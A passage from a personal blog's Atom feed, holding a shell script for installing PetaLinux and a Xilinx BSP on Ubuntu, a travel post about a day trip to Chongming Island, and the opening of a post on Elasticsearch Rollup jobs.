class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta prompt_">#</span><span class="language-bash">!/bin/sh</span></span><br><span class="line"><span class="meta prompt_"></span></span><br><span class="line"><span class="meta prompt_">#</span><span class="language-bash">input to installer and bsp</span></span><br><span class="line"><span class="meta prompt_">#</span><span class="language-bash"><span class="keyword">while</span> <span class="built_in">getopts</span> <span class="string">&quot;:a:b:&quot;</span> opt; <span class="keyword">do</span></span></span><br><span class="line"><span class="meta prompt_"># </span><span class="language-bash">      <span class="keyword">case</span> <span class="string">&quot;<span class="variable">$&#123;opt&#125;</span>&quot;</span> <span class="keyword">in</span></span></span><br><span class="line"><span class="meta prompt_"># </span><span class="language-bash">              a)</span></span><br><span class="line"><span class="meta prompt_"># </span><span class="language-bash">              INSTALLER_FILE=<span class="variable">$a</span></span></span><br><span class="line"><span class="meta prompt_"># </span><span class="language-bash">              <span class="built_in">echo</span> <span class="variable">$&#123;a&#125;</span></span></span><br><span class="line"><span class="meta prompt_"># </span><span class="language-bash">              <span class="built_in">echo</span> <span class="string">&#x27;haha&#x27;</span></span></span><br><span class="line"><span class="meta prompt_"># </span><span class="language-bash">              <span class="built_in">echo</span> <span class="variable">$INSTALLER_FILE</span></span></span><br><span class="line"><span class="meta prompt_"># </span><span class="language-bash">              ;;</span></span><br><span class="line"><span class="meta prompt_"># </span><span class="language-bash">              b)</span></span><br><span class="line"><span class="meta prompt_"># </span><span class="language-bash">              BSP_FILE=<span class="variable">$b</span></span></span><br><span class="line"><span class="meta prompt_"># </span><span class="language-bash">              <span class="built_in">echo</span> <span class="variable">$b</span></span></span><br><span class="line"><span class="meta prompt_"># </span><span class="language-bash">              <span class="built_in">echo</span> <span class="variable">$BSP_FILE</span></span></span><br><span class="line"><span class="meta prompt_"># </span><span class="language-bash">              ;;</span></span><br><span class="line"><span class="meta prompt_"># </span><span class="language-bash">              ?)</span></span><br><span class="line"><span class="meta prompt_"># </span><span class="language-bash">              <span class="built_in">echo</span> <span class="string">&quot;You must specify petalinux installer and bsp file download url paths and the urls should be verified by xilinx.&quot;</span></span></span><br><span class="line"><span class="meta prompt_"># </span><span class="language-bash">              <span class="built_in">exit</span> 1;;</span></span><br><span class="line"><span class="meta prompt_"># </span><span class="language-bash">   <span class="keyword">esac</span></span></span><br><span class="line"><span class="meta prompt_">#</span><span class="language-bash"><span class="keyword">done</span></span></span><br><span class="line">INSTALLER_FILE=$1</span><br><span class="line">BSP_FILE=$2</span><br><span class="line">echo $INSTALLER_FILE</span><br><span class="line">echo $BSP_FILE</span><br><span class="line"><span class="meta prompt_"></span></span><br><span class="line"><span class="meta prompt_">#</span><span class="language-bash">install relay</span></span><br><span class="line">sudo apt-get update</span><br><span class="line">sudo apt-get install tofrodos iproute2 gawk gcc git make xvfb net-tools libncurses5-dev tftpd zlib1g-dev libssl-dev flex bison libselinux1 gnupg wget diffstat chrpath socat xterm autoconf libtool tar unzip texinfo zlib1g-dev gcc-multilib build-essential libsdl1.2-dev libglib2.0-dev screen pax gzip tar -y</span><br><span class="line">sudo dpkg --add-architecture i386</span><br><span class="line">sudo apt-get update</span><br><span class="line">sudo apt-get install zlib1g-dev:i386 -y</span><br><span class="line"><span class="meta prompt_">#</span><span class="language-bash">depend on ur machine</span></span><br><span class="line">export LC_ALL=en_US.UTF-8</span><br><span class="line">export LANG=en_US.UTF-8</span><br><span class="line">export LANGUAGE=en_US.UTF-8</span><br><span class="line"><span class="meta prompt_"></span></span><br><span class="line"><span class="meta prompt_">#</span><span class="language-bash">download installer and bsp</span></span><br><span class="line">PETALINUX_INSTALLER_NAME=petalinux-installer.run</span><br><span class="line">BSP_FILE_NAME=board.bsp</span><br><span class="line">PETALINUX=petalinux</span><br><span class="line">BOARD=board</span><br><span class="line">cd $HOME</span><br><span class="line">wget $INSTALLER_FILE -O $PETALINUX_INSTALLER_NAME</span><br><span class="line">wget $BSP_FILE -O $BSP_FILE_NAME</span><br><span class="line">chmod +x $PETALINUX_INSTALLER_NAME</span><br><span class="line">mkdir $PETALINUX</span><br><span class="line">mkdir $BOARD</span><br><span class="line"><span class="meta prompt_"></span></span><br><span class="line"><span class="meta prompt_">#</span><span class="language-bash">install installer and bsp</span></span><br><span class="line">PETALINUX_INSTALL_SCRIPT=./$PETALINUX_INSTALLER_NAME $PETALINUX</span><br><span class="line"><span class="meta prompt_">$</span><span class="language-bash">PETALINUX_INSTALL_SCRIPT</span></span><br><span class="line">sh $(HOME)/$(PETALINUX)/settings.sh</span><br><span class="line">cd $BOARD</span><br><span class="line">BSP_INSTALL_SCRIPT=petalinux-create -t project -s $HOME/$(BSP_FILE_NAME)</span><br><span class="line"><span class="meta prompt_">$</span><span class="language-bash">BSP_INSTALL_SCRIPT</span></span><br></pre></td></tr></table></figure>]]></content>
    
    
    <summary type="html">&lt;p&gt;PetaLinux is an embedded Linux development tool from Xilinx. This article is based on Xilinx’s official &lt;a href=&quot;https://www.xilinx.com/support/documentation/sw_manuals/xilinx2018_1/ug1144-petalinux-tools-reference-guide.pdf&quot;&gt;PetaLinux Tools Documentation&lt;/a&gt;. I also describe some of the errors I encountered during the build, in the hope of saving you time. Please go easy on me with your feedback.&lt;/p&gt;
&lt;p&gt;(If you run into any problems, please open an issue on my GitHub repository, &lt;a href=&quot;https://github.com/suikammd/suikammd.github.io/issues&quot;&gt;suikammd&lt;/a&gt;. Thanks! I still have not set up a comments section—procrastination &amp;#x3D;.&amp;#x3D;)&lt;/p&gt;
&lt;h1 id=&quot;Preparing-the-Environment&quot;&gt;&lt;a href=&quot;#Preparing-the-Environment&quot; class=&quot;headerlink&quot; title=&quot;Preparing the Environment&quot;&gt;&lt;/a&gt;Preparing the Environment&lt;/h1&gt;&lt;ol&gt;
&lt;li&gt;An Ubuntu virtual machine. I used a free VM from Google Cloud Engine, located in Taiwan for better speed, with 15 GB of RAM, 4 vCPUs, and a 60 GB disk. (Do not struggle with VMware on your own; subsequent PetaLinux builds require bypassing network restrictions, which is painfully slow. GCE also lets you experiment freely. Thanks, Google!)&lt;/li&gt;
&lt;li&gt;The PetaLinux SDK Installer and ZCU104 BSP file. Both files can be downloaded from &lt;a href=&quot;https://www.xilinx.com/support/download/index.html/content/xilinx/en/downloadNav/embedded-design-tools.html&quot;&gt;file download&lt;/a&gt;. I downloaded version 2018.1 of both. If you want a later version, check whether your board is supported. The SDK installer and BSP versions must match!</summary>
    
    
    
    
    <category term="petalinux" scheme="https://suikammd.github.io/tags/petalinux/"/>
    
  </entry>
  
  <entry>
    <title>A Day Trip to Chongming Island</title>
    <link href="https://suikammd.github.io/2018/10/12/chongming_island/"/>
    <id>https://suikammd.github.io/2018/10/12/chongming_island/</id>
    <published>2018-10-12T05:01:47.000Z</published>
    <updated>2026-11-19T12:58:15.309Z</updated>
    
    <content type="html"><![CDATA[<p>Setting out from Jinqiao, we rented a car and drove to Chongming Island. Although it was the National Day holiday, traffic was light, and I slept almost the whole way.<br>Before reaching Chongming Island, we passed through a smaller island. The sun was shining as we drove along roads dappled with tree shadows. Vendors on both sides of the road sold local specialties such as mandarin oranges and crabs.<br><img src="https://i.imgur.com/jiQXXYf.jpg" alt="Photo"><br><em>It was so heartwarming. I hope that when I am old and my hair has turned gray, I can be as happy as this elderly couple.</em></p><span id="more"></span><ul><li><p>Dongtan Wetland<br><img src="https://i.imgur.com/rbUpFwU.jpg" alt="Photo"><br><img src="https://i.imgur.com/kBCYNsW.jpg" alt="Photo"></p></li><li><p>Xisha Wetland<br>This section was originally meant to be the highlight of this post. Xisha Wetland is full of reeds, and many small red crabs hide among them. Last year, we used pieces of meat as bait and caught a whole bag of small crabs. The silly little crabs would happily grab onto the meat as soon as they smelled it and refuse to let go, but once caught in the bag, they would stop eating it, which I found baffling. Later, after leaving the wetland, we picked a bag of mandarin oranges along the road. As we ate them, we started to feel sorry for the crabs at the thought of them being eaten, so we released them.<br>When our group of six arrived at the wetland parking lot, we were unfortunately told that the boardwalk had been damaged by a typhoon and would be under repair until the following year.<br>Even though this trip had been my idea, no one complained or made sarcastic remarks. In the past, I might have flown into a rage, but now I seem to have become much more easygoing. I reminded myself that we could still pick mandarin oranges (though I felt a little guilty that the children would not get to catch crabs).<br>This outing also taught me a lesson: I should always prepare thoroughly, even for something I have done successfully before, and not set my expectations too high.</p></li><li><p>Chongming Lotus Pond<br><strong>I strongly advise against visiting in autumn!!!</strong><br><img src="https://i.imgur.com/RtDl1Nh.jpg" alt="Photo"><br><em>As you can see, the pond was full of lotus leaves, with practically no lotus flowers left &#x3D;.&#x3D; The photo shows my colleague and his child.</em><br>However, at the lotus pond we came across a strange plant with what looked like tiny apples and hawthorn berries. Its name was just as odd, but I can no longer remember it.<br><img src="https://i.imgur.com/9BvzW2L.jpg" alt="Photo"></p></li><li><p>Picking Mandarin Oranges<br>Mandarin oranges on Chongming Island cost only 20 yuan for 10 jin—astonishing! The owner even invited me to come back in mid-November, when the mandarins would be fully ripe.<br><img src="https://i.imgur.com/QyzwbpX.jpg" alt="Photo"></p></li></ul>]]></content>
    
    
    <summary type="html">&lt;p&gt;Setting out from Jinqiao, we rented a car and drove to Chongming Island. Although it was the National Day holiday, traffic was light, and I slept almost the whole way.&lt;br&gt;Before reaching Chongming Island, we passed through a smaller island. The sun was shining as we drove along roads dappled with tree shadows. Vendors on both sides of the road sold local specialties such as mandarin oranges and crabs.&lt;br&gt;&lt;img src=&quot;https://i.imgur.com/jiQXXYf.jpg&quot; alt=&quot;Photo&quot;&gt;&lt;br&gt;&lt;em&gt;It was so heartwarming. I hope that when I am old and my hair has turned gray, I can be as happy as this elderly couple.&lt;/em&gt;&lt;/p&gt;</summary>
    
    
    
    
    <category term="Travel" scheme="https://suikammd.github.io/tags/Travel/"/>
    
  </entry>
  
  <entry>
    <title>Elasticsearch Rollup</title>
    <link href="https://suikammd.github.io/2018/10/12/elasticsearch-rollup/"/>
    <id>https://suikammd.github.io/2018/10/12/elasticsearch-rollup/</id>
    <published>2018-10-12T05:01:47.000Z</published>
    <updated>2026-11-19T12:58:15.309Z</updated>
    
    <content type="html"><![CDATA[<p>Log data is redundant and voluminous. Elasticsearch’s Rollup feature can preprocess data in advance, reducing the amount of storage space required.</p><h3 id="A-First-Look-at-the-Basic-Features"><a href="#A-First-Look-at-the-Basic-Features" class="headerlink" title="A First Look at the Basic Features"></a>A First Look at the Basic Features</h3><p>Rollup is included in the Elasticsearch X-Pack. The Elasticsearch version used in this article is 7.2.0. This article mainly discusses the start and search functions of the Rollup API, as well as how Rollup searches differ from regular searches.</p><ol><li><p>Basic Rollup Usage</p><p>For details on creating, deleting, viewing, starting, and stopping Rollup jobs, see the official Elasticsearch documentation.</p></li><li><p>Rollup Start</p><p>After a Rollup job is created, you must call start before it begins running. It is stopped by default.</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">POST /_rollup/job/&#123;id&#125;/_start</span><br></pre></td></tr></table></figure><p>This request is handled by the <code>taskOperation</code> of <code>TransportStartRollupAction</code>, which then calls <code>start</code> in <code>RollupJobTask</code>. Next, the <code>RollupIndexer</code> implementation <code>ClientRollupPageManager</code> performs the search and bulk operations.</p></li><li></li></ol>]]></content>
    
    
      
      
    <summary type="html">&lt;p&gt;Log data is redundant and voluminous. Elasticsearch’s Rollup feature can preprocess data in advance, reducing the amount of storage space</summary>
      
    
    
    
    
    <category term="elasticsearch" scheme="https://suikammd.github.io/tags/elasticsearch/"/>
    
  </entry>
  
</feed>
